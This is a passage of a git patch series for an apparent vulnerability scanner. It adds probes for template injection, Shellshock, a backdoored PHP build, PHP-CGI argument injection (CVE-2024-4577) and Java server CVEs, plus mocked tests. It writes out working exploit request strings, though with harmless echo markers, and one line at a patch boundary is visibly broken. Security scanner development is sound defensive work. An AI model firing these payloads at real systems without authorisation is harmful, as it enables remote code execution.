evaluation). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + ssti_payloads = [ + ("{{7*7}}", "49", "Jinja2/Twig"), + ("{{7*'7'}}", "7777777", "Jinja2"), + ("${7*7}", "49", "Freemarker/Mako"), + ("<%= 7*7 %>", "49", "ERB/EJS"), + ] + params = ["name", "q", "search", "input", "text", "template", "page", "id"] + + # Baseline: fetch the page without payloads to filter false positives + # (e.g. "49" naturally appears in many pages) + baseline_text = "" + try: + baseline_resp = requests.get(base_url, timeout=3, verify=False) + baseline_text = baseline_resp.text + except Exception: + pass + + # --- 1. Query parameter injection --- + for param in params: + if len(findings_list) >= 2: + break + for payload, expected, engine in ssti_payloads: + # Skip if expected result already exists in baseline page + if expected in baseline_text: + continue + try: + url = f"{base_url}?{param}={quote(payload)}" + resp = requests.get(url, timeout=3, verify=False) + if expected in resp.text and payload not in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"SSTI ({engine}) via ?{param}= parameter", + description=f"Template expression '{payload}' was evaluated server-side " + f"to '{expected}', confirming {engine} SSTI. " + "This leads to Remote Code Execution.", + evidence=f"URL: {url}, response contains '{expected}' but not raw payload", + remediation="Never pass user input directly into template rendering. " + "Use sandboxed template environments.", + owasp_id="A03:2021", + cwe_id="CWE-1336", + confidence="certain", + )) + break + except Exception: + pass + + # --- 2. Path-based injection --- + if not findings_list: + for payload, expected, engine in ssti_payloads[:2]: + if expected in baseline_text: + continue + try: + url = base_url.rstrip("/") + "/" + quote(payload) + resp = requests.get(url, timeout=3, verify=False) + if expected in resp.text and payload not in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"SSTI ({engine}) via URL path", + description=f"Template expression '{payload}' evaluated in URL path.", + evidence=f"URL: {url}, response contains '{expected}'", + remediation="Never pass user input directly into template rendering.", + owasp_id="A03:2021", + cwe_id="CWE-1336", + confidence="certain", + )) + break + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Shellshock (CVE-2014-6271) ────────────────────────────────────── + + def _web_test_shellshock(self, target, port): + """ + Test for CVE-2014-6271 (Shellshock) by sending bash function definitions + in HTTP headers to potential CGI endpoints. + + Safe detection: uses echo-based payload that produces a unique marker + in the response body if bash evaluates the injected function. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + marker = "REDMESH_SHELLSHOCK_DETECT" + shellshock_payload = f'() {{ :; }}; echo; echo {marker}' + + cgi_paths = [ + "/cgi-bin/test.cgi", + "/cgi-bin/status", + "/cgi-bin/test", + "/cgi-bin/test-cgi", + "/cgi-bin/printenv", + "/cgi-bin/env.cgi", + "/cgi-bin/", + "/victim.cgi", + "/safe.cgi", + ] + + for cgi_path in cgi_paths: + if findings_list: + break + url = base_url.rstrip("/") + cgi_path + try: + resp = requests.get( + url, + headers={ + "User-Agent": shellshock_payload, + "Referer": shellshock_payload, + }, + timeout=4, + verify=False, + ) + if marker in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"CVE-2014-6271: Shellshock RCE via {cgi_path}", + description="Bash function injection via HTTP headers is evaluated " + "by the CGI handler, enabling unauthenticated Remote " + "Code Execution.", + evidence=f"GET {url} with shellshock payload in User-Agent " + f"returned marker '{marker}' in response body.", + remediation="Upgrade bash to a patched version (>= 4.3 patch 25); " + "remove unnecessary CGI scripts.", + owasp_id="A06:2021", + cwe_id="CWE-78", + confidence="certain", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── PHP CGI argument injection + backdoor ─────────────────────────── + + def _web_test_php_cgi(self, target, port): + """ + Test for PHP-CGI vulnerabilities: + + 1. PHP 8.1.0-dev supply-chain backdoor (zerodium ``User-Agentt`` header). + 2. CVE-2024-4577: argument injection via soft-hyphen (``%AD``) bypass. + 3. PHP-CGI source disclosure via ``-s`` flag injection. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. PHP 8.1.0-dev backdoor (User-Agentt header) --- + try: + resp = requests.get( + base_url, + headers={"User-Agentt": "zerodiumsystem(echo REDMESH_PHP_BACKDOOR);"}, + timeout=3, + verify=False, + ) + if "REDMESH_PHP_BACKDOOR" in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="PHP 8.1.0-dev backdoor: zerodiumsystem RCE", + description="The PHP binary contains a supply-chain backdoor that " + "executes arbitrary code from the 'User-Agentt' (double-t) header. " + "This enables unauthenticated Remote Code Execution.", + evidence=f"GET {base_url} with User-Agentt: zerodiumsystem(echo ...) " + "returned the echoed marker in response body.", + remediation="Replace the PHP binary immediately — this is a " + "compromised build. Use an official PHP release.", + owasp_id="A08:2021", + cwe_id="CWE-506", + confidence="certain", + )) + except Exception: + pass + + # --- 2. CVE-2024-4577: PHP-CGI argument injection --- + php_cgi_paths = ["/", "/index.php"] + for path in php_cgi_paths: + if any("CVE-2024-4577" in f.title for f in findings_list): + break + try: + test_url = ( + base_url.rstrip("/") + path + + "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" + ) + resp = requests.post( + test_url, + data="", + headers={"Content-Type": "application/x-www-form-urlencoded"}, + timeout=3, + verify=False, + ) + if "REDMESH_PHPCGI_TEST" in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2024-4577: PHP-CGI argument injection RCE", + description="PHP-CGI accepts soft-hyphen (%AD) as argument separator, " + "allowing injection of -d flags to override configuration " + "and execute arbitrary PHP code.", + evidence=f"POST {test_url} with PHP echo payload was executed.", + remediation="Upgrade PHP; migrate from CGI to PHP-FPM; " + "add URL rewrite rules to block %AD sequences.", + owasp_id="A06:2021", + cwe_id="CWE-78", + confidence="certain", + )) + except Exception: + pass + + # --- 3. PHP-CGI source disclosure via -s flag --- + if not findings_list: + try: + resp = requests.get(base_url + "/?%ADs", timeout=3, verify=False) + if "" in resp.text and " Date: Sun, 8 Mar 2026 18:25:38 +0000 Subject: [PATCH 28/42] fix: tests CVEs for CMS & Frameworks --- extensions/business/cybersec/red_mesh/test_redmesh.py | 2 +- .../business/cybersec/red_mesh/web_injection_mixin.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 049ea490..7f3e4751 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -6352,7 +6352,7 @@ def fake_get(url, **kwargs): resp.ok = True resp.status_code = 200 headers = kwargs.get("headers", {}) - if "zerodiumsystem" in headers.get("User-Agentt", ""): + if "zerodium" in headers.get("User-Agentt", ""): resp.text = "REDMESH_PHP_BACKDOOR\n" else: resp.text = "PHP page" diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index a0efd861..87361334 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -533,7 +533,7 @@ def _web_test_php_cgi(self, target, port): try: resp = requests.get( base_url, - headers={"User-Agentt": "zerodiumsystem(echo REDMESH_PHP_BACKDOOR);"}, + headers={"User-Agentt": "zerodiumsystem('echo REDMESH_PHP_BACKDOOR');"}, timeout=3, verify=False, ) @@ -572,7 +572,10 @@ def _web_test_php_cgi(self, target, port): timeout=3, verify=False, ) - if "REDMESH_PHPCGI_TEST" in resp.text: + # Guard: auto_prepend_file output appears at the very start of the + # response when truly executed. Debug/error pages (e.g. Laravel + # Ignition) may *reflect* the POST body deep in HTML, causing FP. + if "REDMESH_PHPCGI_TEST" in resp.text[:500]: findings_list.append(Finding( severity=Severity.CRITICAL, title="CVE-2024-4577: PHP-CGI argument injection RCE", From 8e529c8ce1eeb34590c76453258625092e8b47bb Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 19:54:01 +0000 Subject: [PATCH 29/42] fix: Java applications & servers --- .../business/cybersec/red_mesh/constants.py | 8 +- .../business/cybersec/red_mesh/cve_db.py | 33 + .../cybersec/red_mesh/test_redmesh.py | 575 +++++++++++++++++- .../cybersec/red_mesh/web_discovery_mixin.py | 297 +++++++++ .../cybersec/red_mesh/web_injection_mixin.py | 391 +++++++++++- 5 files changed, 1291 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 1e1fa153..8cc7c22e 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -50,7 +50,7 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors", "_web_test_java_servers"] }, { "id": "web_hardening", @@ -71,7 +71,7 @@ "label": "Injection probes", "description": "Non-destructive probes for path traversal, reflected XSS, and SQL injection (OWASP WSTG-INPV).", "category": "web", - "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi"] + "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator"] }, { "id": "web_auth_design", @@ -200,6 +200,10 @@ "_web_test_mixed_content": frozenset({"http", "https"}), "_web_test_js_library_versions": frozenset({"http", "https"}), "_web_test_verbose_errors": frozenset({"http", "https"}), + "_web_test_java_servers": frozenset({"http", "https"}), + "_web_test_ognl_injection": frozenset({"http", "https"}), + "_web_test_java_deserialization": frozenset({"http", "https"}), + "_web_test_spring_actuator": frozenset({"http", "https"}), } # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/cve_db.py b/extensions/business/cybersec/red_mesh/cve_db.py index c727a73d..965b833b 100644 --- a/extensions/business/cybersec/red_mesh/cve_db.py +++ b/extensions/business/cybersec/red_mesh/cve_db.py @@ -167,6 +167,39 @@ class CveEntry: # ── Laravel / Ignition ───────────────────────────────────────── CveEntry("laravel_ignition", "<2.5.2", "CVE-2021-3129", Severity.CRITICAL, "Ignition debug mode RCE via file_put_contents", "CWE-94"), + # ── Apache Struts2 ───────────────────────────────────────────── + CveEntry("struts2", ">=2.3.5,<2.3.32", "CVE-2017-5638", Severity.CRITICAL, "S2-045: OGNL injection via Content-Type header RCE", "CWE-94"), + CveEntry("struts2", ">=2.5.0,<2.5.10.1", "CVE-2017-5638", Severity.CRITICAL, "S2-045: OGNL injection via Content-Type header RCE", "CWE-94"), + CveEntry("struts2", ">=2.3.5,<2.3.33", "CVE-2017-9805", Severity.CRITICAL, "S2-052: XML deserialization RCE via REST plugin", "CWE-502"), + CveEntry("struts2", ">=2.5.0,<2.5.13", "CVE-2017-9805", Severity.CRITICAL, "S2-052: XML deserialization RCE via REST plugin", "CWE-502"), + CveEntry("struts2", ">=2.0.0,<2.5.26", "CVE-2020-17530", Severity.CRITICAL, "S2-061: Forced OGNL evaluation via tag attributes", "CWE-94"), + + # ── Oracle WebLogic ────────────────────────────────────────── + CveEntry("weblogic", ">=10.3.6.0,<10.3.6.1", "CVE-2017-10271", Severity.CRITICAL, "XMLDecoder deserialization RCE via wls-wsat", "CWE-502"), + CveEntry("weblogic", ">=12.1.3.0,<12.1.3.1", "CVE-2017-10271", Severity.CRITICAL, "XMLDecoder deserialization RCE via wls-wsat", "CWE-502"), + CveEntry("weblogic", ">=10.3.6.0,<10.3.6.1", "CVE-2020-14882", Severity.CRITICAL, "Console unauthenticated takeover RCE", "CWE-306"), + CveEntry("weblogic", ">=12.1.3.0,<12.2.1.5", "CVE-2020-14882", Severity.CRITICAL, "Console unauthenticated takeover RCE", "CWE-306"), + CveEntry("weblogic", ">=12.2.1.3,<12.2.1.4", "CVE-2023-21839", Severity.HIGH, "IIOP/T3 protocol deserialization RCE", "CWE-502"), + + # ── Apache Tomcat ──────────────────────────────────────────── + CveEntry("tomcat", ">=9.0.0,<9.0.31", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=8.5.0,<8.5.51", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=7.0.0,<7.0.100", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=7.0.0,<7.0.81", "CVE-2017-12615", Severity.HIGH, "PUT method JSP file upload RCE", "CWE-434"), + CveEntry("tomcat", ">=9.0.0,<9.0.99", "CVE-2025-24813", Severity.CRITICAL, "Partial PUT deserialization RCE", "CWE-502"), + CveEntry("tomcat", ">=10.1.0,<10.1.35", "CVE-2025-24813", Severity.CRITICAL, "Partial PUT deserialization RCE", "CWE-502"), + + # ── JBoss Application Server ───────────────────────────────── + CveEntry("jboss", ">=4.0,<7.0", "CVE-2017-12149", Severity.CRITICAL, "Java deserialization RCE via /invoker/readonly", "CWE-502"), + + # ── Spring Framework ───────────────────────────────────────── + CveEntry("spring_framework", ">=5.3.0,<5.3.18", "CVE-2022-22965", Severity.CRITICAL, "Spring4Shell: ClassLoader manipulation RCE", "CWE-94"), + CveEntry("spring_framework", ">=5.2.0,<5.2.20", "CVE-2022-22965", Severity.CRITICAL, "Spring4Shell: ClassLoader manipulation RCE", "CWE-94"), + + # ── Spring Cloud Function ──────────────────────────────────── + CveEntry("spring_cloud_function", ">=3.0.0,<3.1.7", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + CveEntry("spring_cloud_function", ">=3.2.0,<3.2.3", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + # ── BIND (DNS) ────────────────────────────────────────────────── CveEntry("bind", "<9.11.37", "CVE-2022-2795", Severity.MEDIUM, "Flooding targeted resolver with queries DoS", "CWE-400"), CveEntry("bind", "<9.16.33", "CVE-2022-3080", Severity.HIGH, "TKEY assertion failure DoS on DNAME resolution", "CWE-617"), diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 7f3e4751..92a25a57 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -6255,9 +6255,9 @@ def fake_get(url, **kwargs): resp.ok = True resp.status_code = 200 decoded = unquote(url) - # Evaluate {{7*7}} → 49, but don't echo the raw template back - if "name=" in decoded and "{{7*7}}" in decoded: - resp.text = 'Hello 49!' + # Evaluate {{71*73}} → 5183, but don't echo the raw template back + if "name=" in decoded and "{{71*73}}" in decoded: + resp.text = 'Hello 5183!' elif "name=" in decoded and "{{7*'7'}}" in decoded: resp.text = 'Hello 7777777!' else: @@ -6283,8 +6283,8 @@ def fake_get(url, **kwargs): resp.status_code = 200 decoded = unquote(url) # Echo back the raw payload — this is XSS not SSTI - if "name=" in decoded and "{{7*7}}" in decoded: - resp.text = 'Hello {{7*7}}!' + if "name=" in decoded and "{{71*73}}" in decoded: + resp.text = 'Hello {{71*73}}!' elif "name=" in decoded and "{{7*'7'}}" in decoded: resp.text = "Hello {{7*'7'}}!" else: @@ -6499,15 +6499,15 @@ def fake_get(url, **kwargs): resp = MagicMock() resp.ok = True resp.status_code = 200 - # Every response contains "49" naturally (e.g. page content) - resp.text = '

Contact: +1-234-567-8949

' + # Every response contains "5183" naturally (e.g. page content) + resp.text = '

Order #5183 confirmed

' return resp with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): result = worker._web_test_ssti("1.2.3.4", 4300) findings = result.get("findings", []) - self.assertEqual(len(findings), 0, f"Should NOT fire when '49' already in baseline. Got: {[f['title'] for f in findings]}") + self.assertEqual(len(findings), 0, f"Should NOT fire when '5183' already in baseline. Got: {[f['title'] for f in findings]}") # ── Shellshock via document root CGI paths ─────────────────────── @@ -6558,6 +6558,564 @@ def test_http_alt_no_duplicate_cves(self): self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") +class TestBatch4JavaGapFixes(unittest.TestCase): + """Tests for batch 4: Java application servers, Struts2, WebLogic, Spring.""" + + def setUp(self): + if MANUAL_RUN: + print() + color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-batch4", + initiator="init@example", + local_id_prefix="1", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ── CVE database: Struts2 ───────────────────────────────────────── + + def test_struts2_cve_2017_5638_match(self): + """CVE-2017-5638 should match Struts2 2.5.10.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.10") + self.assertTrue(any("CVE-2017-5638" in f.title for f in findings)) + + def test_struts2_cve_2017_5638_patched(self): + """CVE-2017-5638 should NOT match Struts2 2.5.10.1.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.10.1") + self.assertFalse(any("CVE-2017-5638" in f.title for f in findings)) + + def test_struts2_cve_2017_9805_match(self): + """CVE-2017-9805 should match Struts2 2.5.12.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.12") + self.assertTrue(any("CVE-2017-9805" in f.title for f in findings)) + + def test_struts2_cve_2020_17530_match(self): + """CVE-2020-17530 should match Struts2 2.5.25.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.25") + self.assertTrue(any("CVE-2020-17530" in f.title for f in findings)) + + def test_struts2_cve_2020_17530_patched(self): + """CVE-2020-17530 should NOT match Struts2 2.5.26.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.26") + self.assertFalse(any("CVE-2020-17530" in f.title for f in findings)) + + # ── CVE database: WebLogic ──────────────────────────────────────── + + def test_weblogic_cve_2017_10271_match(self): + """CVE-2017-10271 should match WebLogic 10.3.6.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("weblogic", "10.3.6.0") + self.assertTrue(any("CVE-2017-10271" in f.title for f in findings)) + + def test_weblogic_cve_2020_14882_match(self): + """CVE-2020-14882 should match WebLogic 12.2.1.3.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("weblogic", "12.2.1.3") + self.assertTrue(any("CVE-2020-14882" in f.title for f in findings)) + + # ── CVE database: Tomcat ────────────────────────────────────────── + + def test_tomcat_cve_2020_1938_match(self): + """CVE-2020-1938 Ghostcat should match Tomcat 9.0.30.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("tomcat", "9.0.30") + self.assertTrue(any("CVE-2020-1938" in f.title for f in findings)) + + def test_tomcat_cve_2020_1938_patched(self): + """CVE-2020-1938 should NOT match Tomcat 9.0.31.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("tomcat", "9.0.31") + self.assertFalse(any("CVE-2020-1938" in f.title for f in findings)) + + # ── CVE database: JBoss ─────────────────────────────────────────── + + def test_jboss_cve_2017_12149_match(self): + """CVE-2017-12149 should match JBoss 6.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jboss", "6.0") + self.assertTrue(any("CVE-2017-12149" in f.title for f in findings)) + + def test_jboss_cve_2017_12149_patched(self): + """CVE-2017-12149 should NOT match JBoss 7.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jboss", "7.0") + self.assertFalse(any("CVE-2017-12149" in f.title for f in findings)) + + # ── CVE database: Spring ────────────────────────────────────────── + + def test_spring_cve_2022_22965_match(self): + """CVE-2022-22965 Spring4Shell should match Spring Framework 5.3.17.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_framework", "5.3.17") + self.assertTrue(any("CVE-2022-22965" in f.title for f in findings)) + + def test_spring_cloud_cve_2022_22963_match(self): + """CVE-2022-22963 should match Spring Cloud Function 3.2.2.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_cloud_function", "3.2.2") + self.assertTrue(any("CVE-2022-22963" in f.title for f in findings)) + + def test_spring_cloud_cve_2022_22963_patched(self): + """CVE-2022-22963 should NOT match Spring Cloud Function 3.2.3.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_cloud_function", "3.2.3") + self.assertFalse(any("CVE-2022-22963" in f.title for f in findings)) + + # ── WebLogic detection probe ────────────────────────────────────── + + def test_weblogic_console_detected(self): + """Java servers probe should detect WebLogic via console page.""" + _, worker = self._build_worker(ports=[7102]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'WebLogic Server 10.3.6.0' + elif "/console/" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'WebLogic login page' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7102) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("WebLogic" in t and "10.3.6.0" in t for t in titles), f"Should detect WebLogic 10.3.6.0. Got: {titles}") + self.assertTrue(any("CVE-2017-10271" in t for t in titles), f"Should find CVE-2017-10271. Got: {titles}") + self.assertTrue(any("console exposed" in t.lower() for t in titles), f"Should flag console exposure. Got: {titles}") + + # ── Tomcat detection probe ──────────────────────────────────────── + + def test_tomcat_detected_from_default_page(self): + """Java servers probe should detect Tomcat via default page.""" + _, worker = self._build_worker(ports=[7104]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if url.endswith(":7104"): + resp.ok = True + resp.status_code = 200 + resp.text = '

Apache Tomcat/9.0.30

' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "/manager/html" in url: + resp.status_code = 401 + resp.text = "Unauthorized" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7104) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t and "9.0.30" in t for t in titles), f"Should detect Tomcat 9.0.30. Got: {titles}") + self.assertTrue(any("CVE-2020-1938" in t for t in titles), f"Should find Ghostcat CVE. Got: {titles}") + + # ── JBoss detection probe ───────────────────────────────────────── + + def test_jboss_detected_from_header(self): + """Java servers probe should detect JBoss via X-Powered-By header.""" + _, worker = self._build_worker(ports=[7106]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "Welcome to JBoss" + resp.headers = {"X-Powered-By": "Servlet/3.0; JBossAS-6"} + if "/console/login/LoginForm.jsp" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + elif "/jmx-console/" in url: + resp.status_code = 200 + resp.text = "JMX Console" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7106) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("JBoss" in t for t in titles), f"Should detect JBoss. Got: {titles}") + self.assertTrue(any("CVE-2017-12149" in t for t in titles), f"Should find JBoss deser CVE. Got: {titles}") + + # ── Spring detection probe ──────────────────────────────────────── + + def test_spring_detected_from_whitelabel(self): + """Java servers probe should detect Spring via Whitelabel Error Page.""" + _, worker = self._build_worker(ports=[7108]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App home" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "" + elif "/nonexistent_" in url: + resp.status_code = 404 + resp.text = '

Whitelabel Error Page

' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring. Got: {titles}") + + # ── OGNL injection probe ────────────────────────────────────────── + + def test_ognl_injection_s2_045_detected(self): + """OGNL probe should detect S2-045 via Content-Type header.""" + _, worker = self._build_worker(ports=[7100]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + headers = kwargs.get("headers", {}) + ct = headers.get("Content-Type", "") + if "167837218" in ct and ("/index.action" in url or url.endswith(":7100/")): + resp.text = "167837218" + else: + resp.text = "Normal page" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_ognl_injection("1.2.3.4", 7100) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect OGNL injection") + self.assertEqual(findings[0]["severity"], "CRITICAL") + self.assertIn("CVE-2017-5638", findings[0]["title"]) + + # ── Java deserialization probe ──────────────────────────────────── + + def test_weblogic_wlswsat_detected(self): + """Deserialization probe should detect wls-wsat endpoint.""" + _, worker = self._build_worker(ports=[7102]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/wls-wsat/CoordinatorPortType" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'CoordinatorPortType WSDL' + resp.headers = {"Content-Type": "text/xml"} + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_deserialization("1.2.3.4", 7102) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect wls-wsat endpoint") + self.assertIn("CVE-2017-10271", findings[0]["title"]) + + def test_jboss_invoker_detected(self): + """Deserialization probe should detect JBoss /invoker/readonly.""" + _, worker = self._build_worker(ports=[7106]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/invoker/readonly" in url: + resp.status_code = 500 + resp.text = "Internal Server Error" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_deserialization("1.2.3.4", 7106) + + findings = result.get("findings", []) + self.assertTrue(any("CVE-2017-12149" in f["title"] for f in findings), f"Should detect JBoss invoker. Got: {[f['title'] for f in findings]}") + + # ── Spring Actuator probe ───────────────────────────────────────── + + def test_spring_actuator_env_detected(self): + """Spring actuator probe should detect exposed /actuator/env.""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {"Content-Type": "text/html"} + if "/actuator/env" in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"propertySources":[{"name":"systemProperties"}]}' + resp.headers = {"Content-Type": "application/json"} + elif "/actuator/health" in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"status":"UP"}' + resp.headers = {"Content-Type": "application/json"} + elif "/actuator" in url and "/actuator/" not in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"_links":{"self":{"href":"/actuator"}}}' + resp.headers = {"Content-Type": "application/json"} + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("actuator/env" in t.lower() for t in titles), f"Should detect /actuator/env. Got: {titles}") + + def test_spring_cloud_spel_injection_detected(self): + """Spring actuator probe should detect CVE-2022-22963 SpEL injection.""" + _, worker = self._build_worker(ports=[7109]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {"Content-Type": "text/html"} + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + if "/functionRouter" in url: + headers = kwargs.get("headers", {}) + if "routing-expression" in str(headers): + resp.status_code = 500 + resp.text = '{"error":"SpelEvaluationException: evaluation failed"}' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + 